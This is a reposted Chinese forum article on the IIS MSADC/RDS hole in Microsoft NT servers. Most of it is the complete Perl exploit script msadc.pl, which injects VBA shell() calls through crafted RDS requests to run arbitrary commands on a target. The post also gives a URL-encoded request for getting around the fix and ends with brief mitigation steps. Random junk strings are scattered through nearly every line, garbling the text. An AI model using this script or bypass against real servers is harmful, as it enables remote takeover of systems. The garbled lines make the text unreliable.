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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) QWU-m{@~&  
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涉及程序: y>LBl]  
Microsoft NT server 8,|kao:  
bd`P0f?  
描述: d'ifLQ\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 T>>c2$ x  
r|Z{-*`  
详细: #z42C?V  
如果你没有时间读详细内容的话,就删除: "jCu6Rjd  
c:\Program Files\Common Files\System\Msadc\msadcs.dll zeRyL3fnmb  
有关的安全问题就没有了。 m+9#5a-  
;a3}~s  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 |a@L}m  
0{mex4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Zd&S@Z  
关于利用ODBC远程漏洞的描述,请参看: ?cZlN !  
[Qr"cR^  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !m$jk2<  
,,TnIouy  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 qP;OaM CX  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp W3RT{\  
]'S^]  
这里不再论述。 6B-16  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: JtZ7ti  
5-M-X#(  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset AwN!;t_0+N  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! !'Kj x  
LQ% `c  
\NC3'G:Ii  
#将下面这段保存为txt文件,然后: "perl -x 文件名" nFn5v'g  
P;*(hY5&  
#!perl :EyD+!LJ  
# E"0>yl)  
# MSADC/RDS 'usage' (aka exploit) script GthYzd:'hJ  
# 8>V5d Ebx'  
# by rain.forest.puppy Gh$^{  
# I:.s_8mH}  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 0YHFvy)  
# beta test and find errors! Dh*n!7lD`  
g&.=2uP  
use Socket; use Getopt::Std; I@3MO0V^  
getopts("e:vd:h:XR", \%args); &{i{XcqH'  
n`KY9[0U=  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; @pxcpXCy  
G&dKY h\  
if (!defined $args{h} && !defined $args{R}) { KSL`W2}  
print qq~ }\LQ3y"[  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 8ipez/  
-h <host> = host you want to scan (ip or domain) i9$ Av  
-d <seconds> = delay between calls, default 1 second $8FUfJ1@  
-X = dump Index Server path table, if available snJ129}A  
-v = verbose 7o4\oRGV  
-e = external dictionary file for step 5 &wX]_:?  
cnLro  
Or a -R will resume a command session  3CJwj  
KTv$  
~; exit;} ;Xw~D_uv  
d'2A,B~_*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; HTtnXBJ)*H  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} saAF+H/=  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <uJ@:oWG7  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); qWw=8Bq  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \DzGQ{`~m  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } yHGADH0B  
+n)9Tz5  
if (!defined $args{R}){ $ret = &has_msadc; (#'>(t(4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} @@%ataUSBT  
;PH~<T  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" #1[u (<AS  
. "cmd /c "; rs.)CMk53  
$in=<STDIN>; chomp $in; =T_g}pu  
$command="cmd /c " . $in ; BuwY3F\-O  
Xeaj xcop#  
if (defined $args{R}) {&load; exit;} 4R*,VR.K  
#b`k e/P  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; u&NV,6Fj2[  
&try_btcustmr; n|;Im&,  
Y0>y8U V  
print "\nStep 2: Trying to make our own DSN..."; 1"g<0 W  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; g5yJfRLxp  
Lv%x81]K  
print "\nStep 3: Trying known DSNs..."; 26nx`w?j(  
&known_dsn; $C\BcKlmv  
:%.D78&  
print "\nStep 4: Trying known .mdbs..."; ?8$Q-1=  
&known_mdb; MJvp6n  
Vc2`b3"Br  
if (defined $args{e}){ Jb(H %NJ  
print "\nStep 5: Trying dictionary of DSN names..."; nwWJ7M,A  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } PM+[,H  
=}*0-\QG  
print "Sorry Charley...maybe next time?\n"; <q SC#[xu  
exit; *or(1DXP8  
]oxZ77ciL  
############################################################################## "fI6Cpc  
'%D7C=;^  
sub sendraw { # ripped and modded from whisker ,)XLq8  
sleep($delay); # it's a DoS on the server! At least on mine... _L PHPj^Pg  
my ($pstr)=@_; w@b)g  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || "8RSvT<W^5  
die("Socket problems\n"); ! z**y}<T  
if(connect(S,pack "SnA4x8",2,80,$target)){ P'2Qen*  
select(S); $|=1; E3i4=!Y  
print $pstr; my @in=<S>; 6-I'>\U~  
select(STDOUT); close(S); ,'+kBZOv  
return @in; +H.`MZ=  
} else { die("Can't connect...\n"); }} FtZ?C@1/  
;]iRk  
############################################################################## -%~4W?  
M{\I8oOg  
sub make_header { # make the HTTP request *Uh!>Iv;  
my $msadc=<<EOT 9F vFhY  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 g*Phv|kI  
User-Agent: ACTIVEDATA '7/)Ot(  
Host: $ip B6"0OIDY"  
Content-Length: $clen hc1N ~$3!G  
Connection: Keep-Alive `gJ(0#ac  
g :OI  
ADCClientVersion:01.06 ?`#Khff?  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 y*? Jui Q  
nEfK53i_  
--!ADM!ROX!YOUR!WORLD! GmG 5[?)  
Content-Type: application/x-varg AdmC&!nH  
Content-Length: $reqlen y(&Ac[foS}  
6mE\OS-I  
EOT >Q/Dk7#  
; $msadc=~s/\n/\r\n/g; iwq!w6+  
return $msadc;} F:VIzyMq<  
GeqPRah  
############################################################################## :Al!1BJQ  
;j7#7MN2_E  
sub make_req { # make the RDS request p'k0#R$  
my ($switch, $p1, $p2)=@_; (mOtU8e  
my $req=""; my $t1, $t2, $query, $dsn; dveiQ  
5\v3;;A[  
if ($switch==1){ # this is the btcustmr.mdb query : +u]S2u{  
$query="Select * from Customers where City=" . make_shell(); &L:!VL{I  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @co S+t  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} G)YcJv7  
*_e3 @g  
elsif ($switch==2){ # this is general make table query N;R^h? '  
$query="create table AZZ (B int, C varchar(10))"; LLI.8kn7  
$dsn="$p1";} [RL9>n8f  
>sF)Bo Lc  
elsif ($switch==3){ # this is general exploit table query cS$_\65  
$query="select * from AZZ where C=" . make_shell(); 0a7Ppntb@  
$dsn="$p1";}  9!GM{  
5N]"~w*  
elsif ($switch==4){ # attempt to hork file info from index server jylD6IT  
$query="select path from scope()"; UBs4K*h|  
$dsn="Provider=MSIDXS;";} QnDg 6m)+  
i@q&5;%%  
elsif ($switch==5){ # bad query )_:NLo:  
$query="select"; K@2),(z  
$dsn="$p1";} Fcx&hj1gQ  
}qUX=s GG  
$t1= make_unicode($query); $j~RWfw-  
$t2= make_unicode($dsn); jo7\`#(Q  
$req = "\x02\x00\x03\x00"; t:S+%u U  
$req.= "\x08\x00" . pack ("S1", length($t1)); LP-o8c  
$req.= "\x00\x00" . $t1 ; =AT."$r>  
$req.= "\x08\x00" . pack ("S1", length($t2)); b$7 +;I;  
$req.= "\x00\x00" . $t2 ; IgzQr >  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; zqku e%^?-  
return $req;} 7^285)UQA  
NHt\ U9l'  
############################################################################## rjP/l6 ~'  
f^e)O$N9]  
sub make_shell { # this makes the shell() statement l}h!B_P'  
return "'|shell(\"$command\")|'";} N mG#   
K:M8h{Ua  
############################################################################## =D(j)<9$A  
m~|40)   
sub make_unicode { # quick little function to convert to unicode 0J|3kY-n>  
my ($in)=@_; my $out; h1RSVp+?n  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } "4Nt\WQ  
return $out;} +_!QSU,@  
\wZe] G%S  
############################################################################## bD^owa  
3q.q YX  
sub rdo_success { # checks for RDO return success (this is kludge) RCrCs  
my (@in) = @_; my $base=content_start(@in); ;a/E42eN;  
if($in[$base]=~/multipart\/mixed/){ :0/ 7,i  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} TC('H[ ]  
return 0;} #mT"gs  
`^vE9nW 7  
############################################################################## -LSWmrj  
LeQjvW9y  
sub make_dsn { # this makes a DSN for us "Q<MS'a  
my @drives=("c","d","e","f"); VTM/hJmwJ  
print "\nMaking DSN: "; FmW(CGs  
foreach $drive (@drives) { W_=f'yb:E  
print "$drive: "; SM '|+ d  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . bcyzhK=  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 1 zZlC#V  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 3$tdwe$S  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |)&%A%m  
return 0 if $2 eq "404"; # not found/doesn't exist GyIV Hby  
if($2 eq "200") { #c J@uqR  
foreach $line (@results) { (Z*!#}z`  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} .`lCWeHN  
} return 0;} !i50QA|(G  
gi8FHSU|G  
############################################################################## wY#E?,  
R-:2HRaA  
sub verify_exists { ?[AD=rUC  
my ($page)=@_; K'bP@y_cq  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Z;i:](  
return $results[0];} Dv"9qk  
;gkM{={`p  
############################################################################## ZNoDFf*h  
4 5e~6",  
sub try_btcustmr { sB</DS  
my @drives=("c","d","e","f"); s%S  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Hz~zu{;{J  
CAJ'zA|o  
foreach $dir (@dirs) { r$1Qf}J3=  
print "$dir -> "; # fun status so you can see progress yevPHN"M  
foreach $drive (@drives) { ;jXgAAz7  
print "$drive: "; # ditto *hx  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; vd ZW%-A&\  
$reqlenlen=length( "$reqlen" ); d$RIS+V  
$clen= 206 + $reqlenlen + $reqlen; eDMO]5}Ht  
]lbuy7xj63  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); M{@(G5  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1^}+=~  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  g(052]  
f 2.HF@  
############################################################################## q'DW~!>qX  
^#$n~]s  
sub odbc_error { Wri<h:1  
my (@in)=@_; my $base; b sX[UF  
my $base = content_start(@in); 53D]3  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this .]u /O`c]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; d~H`CrQE*  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?}0,o.  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *g%yRU{N  
return $in[$base+4].$in[$base+5].$in[$base+6];} %A`+WYeuX  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; t!XwW$@  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . vt8By@]:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} n[z+<VGwC  
Wc#24:OKe3  
############################################################################## +2{Lh7Ks  
6t$8M[0-U  
sub verbose { khe}*y  
my ($in)=@_; Nc`L;CP  
return if !$verbose; L_T5nD^D  
print STDOUT "\n$in\n";} "[J^YKoF  
DI>s-7  
############################################################################## e= AKD#  
yAt ^;  
sub save { WJ#[LF!e  
my ($p1, $p2, $p3, $p4)=@_; ? k/`  
open(OUT, ">rds.save") || print "Problem saving parameters...\n";  @5FQX  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; A&VG~r$  
close OUT;} Ytkv!]"  
k:;r2f  
############################################################################## az$FnVNn=  
]DcFySyv  
sub load { X8|,   
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; C_Dn{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;+%rw2Z,B  
@p=<IN>; close(IN); $i&zex{\  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); uFE)17E  
$target= inet_aton($ip) || die("inet_aton problems"); C Z;6@{ o  
print "Resuming to $ip ..."; Y7|EIAU5Y  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; w{KavU5W  
if($p[1]==1) { F%|h;+5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; D~m*!w*  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; q m}@!z^  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); d0D] Q  
if (rdo_success(@results)){print "Success!\n";} ^!d3=}:0  
else { print "failed\n"; verbose(odbc_error(@results));}} vN:Ng  
elsif ($p[1]==3){ >6T8^Nt  
if(run_query("$p[3]")){ s<Ziegmw|g  
print "Success!\n";} else { print "failed\n"; }} d=(mw_-?  
elsif ($p[1]==4){ LoV<:|GTI  
if(run_query($drvst . "$p[3]")){ occ7zcA  
print "Success!\n"; } else { print "failed\n"; }} s!J9|]o  
exit;} R_C)  
_f83-':W6  
############################################################################## ^('wy};  
%EH)&k  
sub create_table { XSR 4iu  
my ($in)=@_; V0@=^Bls  
$reqlen=length( make_req(2,$in,"") ) - 28; # d  
$reqlenlen=length( "$reqlen" ); Vr}'.\$  
$clen= 206 + $reqlenlen + $reqlen; l#o ~W`  
my @results=sendraw(make_header() . make_req(2,$in,"")); .A|udZ,  
return 1 if rdo_success(@results); )5, v!X)  
my $temp= odbc_error(@results); verbose($temp); 7#XzrT]  
return 1 if $temp=~/Table 'AZZ' already exists/; {c'lhUB  
return 0;} IxU/?Zm  
0B2t"(&  
############################################################################## :;}P*T*PU  
%J(:ADu]  
sub known_dsn { `?]k{ l1R  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9{l}bu/u  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", dPlV>IM$z  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", T)/eeZ$  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); FPz9N@M%Q  
FrS]|=LJhX  
foreach $dSn (@dsns) { Ui~>SN>s  
print "."; @"A4$`Xi3  
next if (!is_access("DSN=$dSn")); oR'm2d^  
if(create_table("DSN=$dSn")){ [,Gg^*umS  
print "$dSn successful\n"; (QEG4&9  
if(run_query("DSN=$dSn")){ +7Gwg  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { QRUz`|U  
print "Something's borked. Use verbose next time\n";}}} print "\n";} [0!(xp^  
01]f2.5  
############################################################################## d{?LD?,)  
us-L]S+lm  
sub is_access { j#|ZP-=1_  
my ($in)=@_; -@'FW*b  
$reqlen=length( make_req(5,$in,"") ) - 28; q9"96({\@  
$reqlenlen=length( "$reqlen" ); i1UsIT  
$clen= 206 + $reqlenlen + $reqlen; e'~3oqSvR  
my @results=sendraw(make_header() . make_req(5,$in,"")); Q ,g\  
my $temp= odbc_error(@results); 7!1S)dup  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 3] Ct6  
return 0;} (PL UFT  
m O_af  
############################################################################## cuX)8+  
ch]IzdD  
sub run_query { Q &8-\  
my ($in)=@_; }j Xfb@`K  
$reqlen=length( make_req(3,$in,"") ) - 28; O- wzz  
$reqlenlen=length( "$reqlen" ); x2xRBkRg=  
$clen= 206 + $reqlenlen + $reqlen; sJZ iI}Xc  
my @results=sendraw(make_header() . make_req(3,$in,"")); [agMfn  
return 1 if rdo_success(@results); ,tFg4k[  
my $temp= odbc_error(@results); verbose($temp); YK_ 7ip.a[  
return 0;} )~>YH*g  
U^PgG|0N  
############################################################################## dtDFoETz  
/ZX }Nc g  
sub known_mdb { '1[Ft03  
my @drives=("c","d","e","f","g"); cAw/I@jG  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Yy8g(bU  
my $dir, $drive, $mdb; 4W75T2q#  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2 ?C)&  
j 7B!h|  
# this is sparse, because I don't know of many )%TmAaj9d  
my @sysmdbs=( "\\catroot\\icatalog.mdb", F,kZU$  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 8*X4\3:*N  
"\\system32\\certmdb.mdb", &=[WIG+rk  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% }MySaL>  
w0. u\  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", +{]j]OP  
"\\cfusion\\cfapps\\forums\\forums_.mdb", g)-te+?6  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", kh<2BOV  
"\\cfusion\\cfapps\\security\\realm_.mdb", (3e 2c  
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  " bG2:  
"\\cfusion\\database\\cfexamples.mdb", PT ~D",k  
"\\cfusion\\database\\cfsnippets.mdb", G@0&8  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", sO Y:e/_F  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", +@UV?"d  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _c07}aQ ],  
"\\cfusion\\database\\smpolicy.mdb", (FV >m  
"\\cfusion\\database\cypress.mdb", (7Qo  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", hH.G#-JO  
"\\website\\cgi-win\\dbsample.mdb", ~*7]r`6\@  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4H/OBR  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" SbZ6t$"  
); #these are just [g,}gyeS(  
foreach $drive (@drives) { \V:^h [ad  
foreach $dir (@dirs){ z?zL97H  
foreach $mdb (@sysmdbs) { >_} I.\ X  
print "."; }H2 R3icE  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ qs6aB0ln  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3|7QU ld  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %<5'=t'|-U  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; |Tw~@kT@  
} else { print "Something's borked. Use verbose next time\n"; }}}}} AA_%<zK  
7)m9"InDI  
foreach $drive (@drives) { b>k y  
foreach $mdb (@mdbs) { M|-)GvR$J  
print "."; N`i/mP  
if(create_table($drv . $drive . $dir . $mdb)){ `oJ [u:b  
print "\n" . $drive . $dir . $mdb . " successful\n"; G}*hM$F  
if(run_query($drv . $drive . $dir . $mdb)){ :k"]5>(^  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Dq xs+  
} else { print "Something's borked. Use verbose next time\n"; }}}} s2?&!  
} GbyJ:  
YIE<pX4Q7)  
############################################################################## 9uY'E'm*  
Tw% 3p=  
sub hork_idx { 13PS2  
print "\nAttempting to dump Index Server tables...\n"; k9R9Nz|J  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; a.'*G6~Qgw  
$reqlen=length( make_req(4,"","") ) - 28; ^.tg7%dJ  
$reqlenlen=length( "$reqlen" ); b6[j%(   
$clen= 206 + $reqlenlen + $reqlen; qR.Q,(b|  
my @results=sendraw2(make_header() . make_req(4,"","")); N!32 wJ  
if (rdo_success(@results)){ ^8tEach  
my $max=@results; my $c; my %d; C~[,z.FvO  
for($c=19; $c<$max; $c++){ lr?;*f^3  
$results[$c]=~s/\x00//g; SuznN L=/$  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Cw%{G'O   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; c,22*.V/  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; zi:BF60]=  
$d{"$1$2"}="";} ax2B ]L2  
foreach $c (keys %d){ print "$c\n"; } ]Dzlp7Y}  
} else {print "Index server doesn't seem to be installed.\n"; }} =sFTxd_"iQ  
mmsPLv6  
############################################################################## VL^EHb7  
d _ e WcI  
sub dsn_dict { Q\)F;:|  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 'yth'[  
while(<IN>){ B *vM0  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $(9U@N9E  
next if (!is_access("DSN=$dSn")); \ jA~9  
if(create_table("DSN=$dSn")){ +"(jjxJm  
print "$dSn successful\n"; pp2~Meg  
if(run_query("DSN=$dSn")){ /(T?j!nPE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S'14hk<  
print "Something's borked. Use verbose next time\n";}}} Qd6FH2Pl  
print "\n"; close(IN);} *VeRVaBl  
5;S.H#YOpO  
############################################################################## bcR_E5x$  
% nIf)/2g  
sub sendraw2 { # ripped and modded from whisker H"KCK6  
sleep($delay); # it's a DoS on the server! At least on mine... ;=@0'xPEa-  
my ($pstr)=@_; &zs$x?/  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || iLz@5Zj8  
die("Socket problems\n"); 23?rEhKe  
if(connect(S,pack "SnA4x8",2,80,$target)){ eQ"E   
print "Connected. Getting data"; h~26WLf.  
open(OUT,">raw.out"); my @in; N7_"H>O$0U  
select(S); $|=1; print $pstr; S$3JMFA  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} M;NX:mX9  
close(OUT); select(STDOUT); close(S); return @in; r/sNrB1U"y  
} else { die("Can't connect...\n"); }} H-%v3d>3  
m,S{p<-h  
############################################################################## ca}2TT&t  
OTp]Xe/  
sub content_start { # this will take in the server headers FqifriLN  
my (@in)=@_; my $c; AEuG v}#  
for ($c=1;$c<500;$c++) { 8_tQa^.n\  
if($in[$c] =~/^\x0d\x0a/){ 4=.so~9odX  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ]d`VT)~vje  
else { return $c+1; }}} bfO=;S]b!  
return -1;} # it should never get here actually e%6QTg5#  
HqTjl4ai  
############################################################################## vj*%Q(E6Pt  
.KC ++\{HE  
sub funky { qVPeB,kIz  
my (@in)=@_; my $error=odbc_error(@in); 8D].MI^  
if($error=~/ADO could not find the specified provider/){ bi:8(Q$w:`  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; iOdpM{~*  
exit;} fQ98(+6  
if($error=~/A Handler is required/){ +O5hH8<&b  
print "\nServer has custom handler filters (they most likely are patched)\n"; V+~Nalm O  
exit;} +>9Q/E  
if($error=~/specified Handler has denied Access/){ ap~^Ty<>  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ewm9\qmg  
exit;}} v}(WaO#S  
s79r@])=  
############################################################################## y?0nI<}}HK  
<1%$Vq  
sub has_msadc { &/b~k3{M_  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); MPk5^ua:  
my $base=content_start(@results); rs.M]8a2{&  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 8V(pugJ  
return 0;} PVOv[%  
\?N2=jsu$  
######################## - YV>j  
.m AjfP*  
}&e5$lB  
解决方案: "] iB6  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll B?qjkP  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 '\GbmD^F  
gNhQD*+>{  
拿出来充数 哈哈
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